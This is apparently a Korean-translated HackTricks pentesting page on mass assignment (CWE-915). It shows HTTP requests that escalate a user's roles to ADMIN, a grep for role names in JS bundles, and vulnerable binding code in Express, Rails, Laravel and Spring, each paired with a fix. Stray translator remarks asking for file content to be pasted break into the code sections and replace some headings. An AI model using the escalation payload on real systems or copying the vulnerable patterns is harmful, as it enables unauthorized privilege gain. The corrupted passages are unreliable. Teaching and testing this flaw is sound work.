Mass Assignment (CWE-915) โ€“ Privilege Escalation via Unsafe Model Binding

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Mass assignment(์ผ๋ช… insecure object binding)๋Š” API/controller๊ฐ€ ์‚ฌ์šฉ์ž ์ œ๊ณต JSON์„ ๋ฐ›์•„ ๋ช…์‹œ์ ์ธ ํ—ˆ์šฉ ํ•„๋“œ ๋ชฉ๋ก ์—†์ด ์„œ๋ฒ„ ์ธก ๋ชจ๋ธ/์—”ํ‹ฐํ‹ฐ์— ์ง์ ‘ ๋ฐ”์ธ๋”ฉํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. roles, isAdmin, status ๋˜๋Š” ์†Œ์œ ๊ถŒ ํ•„๋“œ ๊ฐ™์€ ๊ถŒํ•œ์ด ์žˆ๋Š” ์†์„ฑ์ด ๋ฐ”์ธ๋”ฉ ๊ฐ€๋Šฅํ•˜๋ฉด, ์ธ์ฆ๋œ ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€๋“  ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๊ฑฐ๋‚˜ ๋ณดํ˜ธ๋œ ์ƒํƒœ๋ฅผ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Š” Broken Access Control ๋ฌธ์ œ(OWASP A01:2021)๋กœ, roles=ADMIN ๊ฐ™์€ ๊ฐ’์„ ์„ค์ •ํ•ด ์ˆ˜์ง์  ๊ถŒํ•œ ์ƒ์Šน์„ ์œ ๋ฐœํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ์ž๋™์œผ๋กœ ์š”์ฒญ ๋ณธ๋ฌธ์„ ๋ฐ์ดํ„ฐ ๋ชจ๋ธ์— ๋ฐ”์ธ๋”ฉํ•˜๋Š” ํ”„๋ ˆ์ž„์›Œํฌ(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs ๋“ฑ)์— ํ”ํžˆ ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค.

1) Finding Mass Assignment

์ž๊ธฐ ํ”„๋กœํ•„์„ ์—…๋ฐ์ดํŠธํ•˜๊ฑฐ๋‚˜ ์œ ์‚ฌํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ์ˆ˜์ •ํ•˜๋Š” self-service ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

mass assignment๋ฅผ ์‹œ์‚ฌํ•˜๋Š” ํœด๋ฆฌ์Šคํ‹ฑ:

  • ์„œ๋ฒ„๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š” ํ•„๋“œ(e.g., roles, status, isAdmin, permissions)๋ฅผ ๋‹น์‹ ์ด ์ „์†กํ•˜์ง€ ์•Š์•˜๋Š”๋ฐ๋„ ์‘๋‹ต์—์„œ ์—์ฝ”ํ•œ๋‹ค.
  • ํด๋ผ์ด์–ธํŠธ ๋ฒˆ๋“ค์— ์•ฑ ์ „์ฒด์—์„œ ์‚ฌ์šฉ๋˜๋Š” role ์ด๋ฆ„/ID ๋˜๋Š” ๋‹ค๋ฅธ ๊ถŒํ•œ ์†์„ฑ๋ช…(admin, staff, moderator, internal flags)์ด ํฌํ•จ๋˜์–ด ์žˆ์–ด ๋ฐ”์ธ๋”ฉ ๊ฐ€๋Šฅํ•œ ์Šคํ‚ค๋งˆ๋ฅผ ์•”์‹œํ•œ๋‹ค.
  • Backend serializers๊ฐ€ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ํ•„๋“œ๋ฅผ ๊ฑฐ๋ถ€ํ•˜์ง€ ์•Š๊ณ  ํ—ˆ์šฉํ•œ๋‹ค.

Quick test flow:

  1. ์•ˆ์ „ํ•œ ํ•„๋“œ๋งŒ ํฌํ•จํ•ด ์ •์ƒ ์—…๋ฐ์ดํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ „์ฒด JSON ์‘๋‹ต ๊ตฌ์กฐ๋ฅผ ๊ด€์ฐฐํ•œ๋‹ค(์ด๋ ‡๊ฒŒ ํ•˜๋ฉด schema๊ฐ€ leaks ๋œ๋‹ค).
  2. ๋ณธ๋ฌธ์— ์กฐ์ž‘ํ•œ ๊ถŒํ•œ ํ•„๋“œ๋ฅผ ํฌํ•จํ•ด ์—…๋ฐ์ดํŠธ๋ฅผ ๋ฐ˜๋ณตํ•œ๋‹ค. ์‘๋‹ต์ด ๋ณ€๊ฒฝ์„ ์œ ์ง€ํ•˜๋ฉด mass assignment์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

์‘๋‹ต์ด ๊ถŒํ•œ ์žˆ๋Š” ํ•„๋“œ๋ฅผ ์•”์‹œํ•จ:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation โ€“ Role Escalation via Mass Assignment

๋ฐ”์ธ๋”ฉ ๊ฐ€๋Šฅํ•œ ํ˜•ํƒœ(bindable shape)๋ฅผ ์•Œ๊ฒŒ ๋˜๋ฉด, ๋™์ผํ•œ ์š”์ฒญ์— privileged ์†์„ฑ์„ ํฌํ•จํ•˜์„ธ์š”.

์˜ˆ: ์ž์‹ ์˜ ์‚ฌ์šฉ์ž ๋ฆฌ์†Œ์Šค์—์„œ roles๋ฅผ ADMIN์œผ๋กœ ์„ค์ •:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.

์ฐธ๊ณ 

  • ์—ญํ•  ์‹๋ณ„์ž์™€ ๊ตฌ์กฐ๋Š” ํด๋ผ์ด์–ธํŠธ JS ๋ฒˆ๋“ค์ด๋‚˜ API ๋ฌธ์„œ์—์„œ ์ž์ฃผ ์—ด๊ฑฐ๋ฉ๋‹ˆ๋‹ค. โ€œrolesโ€, โ€œADMINโ€, โ€œSTAFFโ€ ๊ฐ™์€ ๋ฌธ์ž์—ด์ด๋‚˜ ์ˆซ์ž ์—ญํ•  ID๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.
  • ํ† ํฐ์— claims๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด(์˜ˆ: JWT roles), ์ƒˆ๋กœ์šด ๊ถŒํ•œ์„ ๋ฐ˜์˜ํ•˜๋ ค๋ฉด ๋ณดํ†ต logout/login ๋˜๋Š” token refresh๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

3) Client Bundle Recon for Schema and Role IDs

  • minified JS ๋ฒˆ๋“ค์—์„œ ์—ญํ•  ๋ฌธ์ž์—ด๊ณผ ๋ชจ๋ธ ์ด๋ฆ„์„ ๊ฒ€์‚ฌํ•˜์„ธ์š”; source maps๋Š” DTO shapes๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • roles, permissions, ๋˜๋Š” feature flags์˜ arrays/maps๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. ์ •ํ™•ํ•œ ํ”„๋กœํผํ‹ฐ ์ด๋ฆ„๊ณผ ์ค‘์ฒฉ ๊ตฌ์กฐ์— ๋งž์ถฐ payloads๋ฅผ ๊ตฌ์„ฑํ•˜์„ธ์š”.
  • ์ผ๋ฐ˜์  ์ง€ํ‘œ: role name constants, dropdown option lists, validation schemas.

๋‹ค์šด๋กœ๋“œํ•œ ๋ฒˆ๋“ค์— ๋Œ€ํ•œ ์œ ์šฉํ•œ greps:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) ํ”„๋ ˆ์ž„์›Œํฌ์˜ ํ•จ์ • ๋ฐ ์•ˆ์ „ํ•œ ํŒจํ„ด

์ด ์ทจ์•ฝ์ ์€ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ req.body๋ฅผ ์˜์†์  ์—”ํ‹ฐํ‹ฐ์— ์ง์ ‘ ๋ฐ”์ธ๋”ฉํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ํ”ํ•œ ์‹ค์ˆ˜์™€ ์ตœ์†Œํ•œ์˜ ์•ˆ์ „ํ•œ ํŒจํ„ด์ž…๋‹ˆ๋‹ค.

Node.js (Express + Mongoose)

์ทจ์•ฝ:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

ํŒŒ์ผ ๋‚ด์šฉ์„ ๋ถ™์—ฌ ๋„ฃ์–ด ์ฃผ์„ธ์š”. ์ „์ฒด ๋งˆํฌ๋‹ค์šด์„ ๋ฐ›์•„ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

์ฃผ์˜:

  • ์ฝ”๋“œ, ํ•ดํ‚น ๊ธฐ๋ฒ• ๋ช…์นญ, common hacking ๋‹จ์–ด, ํด๋ผ์šฐ๋“œ/SaaS ํ”Œ๋žซํผ ์ด๋ฆ„(์˜ˆ: Workspace, aws, gcp ๋“ฑ), โ€œleakโ€ ๊ฐ™์€ ๋‹จ์–ด, pentesting, ๋งํฌ์™€ ๊ฒฝ๋กœ(์˜ˆ: lamda-post-exploitation.md) ๋ฐ ๋งˆํฌ๋‹ค์šด/HTML ํƒœ๊ทธ๋Š” ๋ฒˆ์—ญํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ์›๋ณธ ๋งˆํฌ๋‹ค์šด/ํƒœ๊ทธ/๊ฒฝ๋กœ๋Š” ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

์›ํ•˜์‹œ๋ฉด ๋ฌธ์ œ ์žˆ๋Š” ๋ถ€๋ถ„(์˜ˆ: ๋ฌธ๋ฒ•, ๋ถˆ๋ช…ํ™•ํ•œ ๋ฌธ์žฅ)๋งŒ ์ง€์ ํ•ด์„œ ์ˆ˜์ •ํ•ด ๋“œ๋ฆด ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋–ค ๋ฐฉ์‹์œผ๋กœ ์›ํ•˜์‹œ๋Š”์ง€ ์•Œ๋ ค ์ฃผ์„ธ์š”.

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

์ทจ์•ฝ (strong parameters ์—†์Œ):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

์ˆ˜์ • (strong params + ํŠน๊ถŒ ํ•„๋“œ ์—†์Œ):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

์ทจ์•ฝ:

protected $guarded = []; // Everything mass-assignable (bad)

๋ฒˆ์—ญํ•  src/pentesting-web/mass-assignment-cwe-915.md ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์„ธ์š”.

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

์ทจ์•ฝํ•œ ํŒจํ„ด:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

์ˆ˜์ •: ํ—ˆ์šฉ๋œ ํ•„๋“œ๋งŒ ์žˆ๋Š” DTO๋กœ ๋งคํ•‘ํ•˜๊ณ  authorization๋ฅผ ๊ฐ•์ œ ์ ์šฉ:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

๊ทธ๋Ÿฐ ๋‹ค์Œ ํ—ˆ์šฉ๋œ ํ•„๋“œ๋ฅผ DTO์—์„œ entity๋กœ ์„œ๋ฒ„ ์ธก์—์„œ ๋ณต์‚ฌํ•˜๊ณ , RBAC ๊ฒ€์‚ฌ ํ›„ admin-only ํ•ธ๋“ค๋Ÿฌ์—์„œ๋งŒ ์—ญํ•  ๋ณ€๊ฒฝ์„ ์ฒ˜๋ฆฌํ•˜์„ธ์š”. ํ•„์š”ํ•œ ๊ฒฝ์šฐ ๊ถŒํ•œ ์žˆ๋Š” ํ•„๋“œ์— @JsonIgnore๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์•Œ ์ˆ˜ ์—†๋Š” ์†์„ฑ์€ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”.

Go (encoding/json)

  • ๊ถŒํ•œ ์žˆ๋Š” ํ•„๋“œ๊ฐ€ json:โ€œ-โ€œ์„ ์‚ฌ์šฉํ•˜๋„๋ก ํ•˜๊ณ , ํ—ˆ์šฉ๋œ ํ•„๋“œ๋งŒ ํฌํ•จํ•˜๋Š” DTO struct๋กœ ๊ฒ€์ฆํ•˜์„ธ์š”.
  • decoder.DisallowUnknownFields()์™€ ๋ฐ”์ธ๋”ฉ ์ดํ›„ ๋ถˆ๋ณ€์„ฑ ๊ฒ€์ฆ(post-bind validation)์„ ๊ณ ๋ คํ•˜์„ธ์š” (self-service ๊ฒฝ๋กœ์—์„œ๋Š” roles๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†์Œ).

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ